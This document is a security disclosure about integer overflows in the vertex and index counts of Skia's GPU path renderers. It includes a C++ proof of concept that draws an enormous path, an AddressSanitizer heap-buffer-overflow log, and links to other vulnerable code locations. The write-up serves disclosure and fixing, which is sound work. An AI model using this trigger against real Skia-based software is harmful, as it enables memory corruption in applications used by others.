In Skia, there are multiple GPU path rendering algorithms (everything that inherits from GrPathRenderer). Most of these algorithms compute the number of vertices/indices the paths is going to need when rendered on the GPU and then allocate the vertex and index buffer based on these numbers. Since the vertex and index count is tracked in a 32-bit signed int, integer overflows (both addition and multiplication overflows) can occur on sufficiently large paths.

An example of a place where such an overflow can occur is
https://cs.chromium.org/chromium/src/third_party/skia/src/gpu/ops/GrAAConvexPathRenderer.cpp?type=cs&g=0&l=152&rcl=70132d0c73431320d4e637868e98d8b36da05eff
together with the other "*vCount +=" and "*iCount += " lines.
Reaching this requires a large amount of memory and time, but I did manage to hit it on my Google workstation (see the PoC and the ASan log below) so it is at least somewhat feasible.

Fortunately, I wasn't able to trigger it in web browsers because
 - Google Chrome enforces a memory limit
 - Firefox does not currently enable GPU acceleration for 2D canvas by default
However, both Chrome and Firefox settings could change in the future (there's actually an email thread right now about removing the memory limit in Chrome)

Other places where such integer overflows might occur in different algorithm:

- https://cs.chromium.org/chromium/src/third_party/skia/src/gpu/GrTessellator.cpp?type=cs&g=0&l=2101&rcl=bfe959872ec7895d4aa6878a9fe189c37dffc99f
(this is called from GrTessellatingPathRenderer)

- https://cs.chromium.org/chromium/src/third_party/skia/src/gpu/ops/GrAALinearizingConvexPathRenderer.cpp?rcl=c57354418b70b4708cfaecbf97edad16f8da66b8&l=283
(if vertexCount + currentVertices overflows, the buffer won't be extended correctly)

- https://cs.chromium.org/chromium/src/third_party/skia/src/gpu/ops/GrSmallPathRenderer.cpp?g=0&l=355&rcl=b515ae7fa2119c19bb945d3960b4a11eda99ab02
(when multiplying kVerticesPerQuad and instanceCount, both are ints)

And possibly other places.

PoC:

=================================================================

#include <GL/glut.h>

#include "GrContext.h"
#include "gl/GrGLInterface.h"
#include "SkData.h"
#include "SkImage.h"
#include "SkStream.h"
#include "SkSurface.h"
#include "SkCanvas.h"

#include "SkPath.h"
#include "SkPaint.h"

int main(int argc, char** argv)
{
    int width = 500;
    int height = 500;

    glutInit(&argc, argv);
    glutInitWindowSize(width, height);
    glutCreateWindow("Hello world");

    sk_sp<GrGLInterface> interface = nullptr;
    sk_sp<GrContext> context = GrContext::MakeGL(interface);
    SkImageInfo info = SkImageInfo:: MakeN32Premul(width, height);
    sk_sp<SkSurface> gpuSurface(SkSurface::MakeRenderTarget(context.get(), SkBudgeted::kNo, info));
    if (!gpuSurface) {
        printf("SkSurface::MakeRenderTarget returned null\n");
        return 0;
    }
    SkCanvas* gpuCanvas = gpuSurface->getCanvas();
    if(!gpuCanvas) {
        printf("Error getting canvas\n");
        return 0;
    }

    SkPaint p;
    p.setAntiAlias(true);
    p.setStyle(SkPaint::kFill_Style);
    //p.setStyle(SkPaint::kStroke_Style);

    SkPath path;
    path.moveTo(0, 0);

    float oldx, x=0, dx;
    dx = 8.271806125530277e-25;
    for(int i=0;i<575000000;i++) {
      oldx = x;
      x += dx;
      if(x == oldx) {
        printf("%d %f\n", i, x);
        x = oldx;
        dx *= 2;
        continue;
      }
      path.lineTo(x, 0);
    }

    path.quadTo(0, 100, 0, 50); 

    printf("creating path done\n");

    gpuCanvas->drawPath(path, p);

    return 0;
}

=================================================================


ASan log:

=================================================================
==230668==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fa4941a2800 at pc 0x00000087f8f7 bp 0x7fff8fc5bab0 sp 0x7fff8fc5baa8
WRITE of size 2 at 0x7fa4941a2800 thread T0
    #0 0x87f8f6 in create_vertices(SkTArray<Segment, true> const&, SkPoint const&, unsigned int, SkTArray<Draw, true>*, QuadVertex*, unsigned short*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/ops/GrAAConvexPathRenderer.cpp:412:22
    #1 0x87f8f6 in (anonymous namespace)::AAConvexPathOp::onPrepareDraws(GrMeshDrawOp::Target*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/ops/GrAAConvexPathRenderer.cpp:924
    #2 0x818d6d in GrOp::prepare(GrOpFlushState*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/ops/GrOp.h:152:49
    #3 0x818d6d in GrRenderTargetOpList::onPrepare(GrOpFlushState*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrRenderTargetOpList.cpp:88
    #4 0x7d8fc7 in GrOpList::prepare(GrOpFlushState*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrOpList.cpp:84:11
    #5 0x7b69f0 in GrDrawingManager::executeOpLists(int, int, GrOpFlushState*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDrawingManager.cpp:299:22
    #6 0x7b5732 in GrDrawingManager::internalFlush(GrSurfaceProxy*, GrResourceCache::FlushType, int, GrBackendSemaphore*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDrawingManager.cpp:220:23
    #7 0x7986c2 in GrDrawingManager::flush(GrSurfaceProxy*, int, GrBackendSemaphore*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDrawingManager.h:101:22
    #8 0x7986c2 in GrContext::flush() /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrContext.cpp:361
    #9 0x7b24fc in GrDirectContext::~GrDirectContext() /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDirectContext.cpp:34:19
    #10 0x7b24fc in GrDirectContext::~GrDirectContext() /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDirectContext.cpp:30
    #11 0x521e36 in main (/usr/local/google/home/ifratric/p0/skia/test/a.out+0x521e36)
    #12 0x7fa4a673f2b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
    #13 0x42ded9 in _start (/usr/local/google/home/ifratric/p0/skia/test/a.out+0x42ded9)

0x7fa4941a2800 is located 0 bytes to the right of 134217728-byte region [0x7fa48c1a2800,0x7fa4941a2800)
allocated by thread T0 here:
    #0 0x4e3520 in __interceptor_malloc (/usr/local/google/home/ifratric/p0/skia/test/a.out+0x4e3520)
    #1 0x78dc68 in sk_malloc_flags(unsigned long, unsigned int) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/ports/SkMemory_malloc.cpp:69:13
    #2 0x102f6b0 in sk_calloc_throw(unsigned long) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../include/private/SkMalloc.h:63:12
    #3 0x102f6b0 in GrBufferAllocPool::resetCpuData(unsigned long) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrBufferAllocPool.cpp:338
    #4 0x102f6b0 in GrBufferAllocPool::createBlock(unsigned long) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrBufferAllocPool.cpp:315
    #5 0x102eb04 in GrBufferAllocPool::makeSpace(unsigned long, unsigned long, GrBuffer const**, unsigned long*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrBufferAllocPool.cpp:173:16
    #6 0x1031246 in GrIndexBufferAllocPool::makeSpace(int, GrBuffer const**, int*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrBufferAllocPool.cpp:449:28
    #7 0x879d03 in (anonymous namespace)::AAConvexPathOp::onPrepareDraws(GrMeshDrawOp::Target*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/ops/GrAAConvexPathRenderer.cpp:917:38
    #8 0x818d6d in GrOp::prepare(GrOpFlushState*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/ops/GrOp.h:152:49
    #9 0x818d6d in GrRenderTargetOpList::onPrepare(GrOpFlushState*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrRenderTargetOpList.cpp:88
    #10 0x7d8fc7 in GrOpList::prepare(GrOpFlushState*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrOpList.cpp:84:11
    #11 0x7b69f0 in GrDrawingManager::executeOpLists(int, int, GrOpFlushState*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDrawingManager.cpp:299:22
    #12 0x7b5732 in GrDrawingManager::internalFlush(GrSurfaceProxy*, GrResourceCache::FlushType, int, GrBackendSemaphore*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDrawingManager.cpp:220:23
    #13 0x7986c2 in GrDrawingManager::flush(GrSurfaceProxy*, int, GrBackendSemaphore*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDrawingManager.h:101:22
    #14 0x7986c2 in GrContext::flush() /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrContext.cpp:361
    #15 0x7b24fc in GrDirectContext::~GrDirectContext() /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDirectContext.cpp:34:19
    #16 0x7b24fc in GrDirectContext::~GrDirectContext() /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDirectContext.cpp:30
    #17 0x521e36 in main (/usr/local/google/home/ifratric/p0/skia/test/a.out+0x521e36)
    #18 0x7fa4a673f2b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)

SUMMARY: AddressSanitizer: heap-buffer-overflow /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/ops/GrAAConvexPathRenderer.cpp:412:22 in create_vertices(SkTArray<Segment, true> const&, SkPoint const&, unsigned int, SkTArray<Draw, true>*, QuadVertex*, unsigned short*)
Shadow bytes around the buggy address:
  0x0ff51282c4b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ff51282c4c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ff51282c4d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ff51282c4e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ff51282c4f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ff51282c500:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff51282c510: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff51282c520: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff51282c530: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff51282c540: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff51282c550: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==230668==ABORTING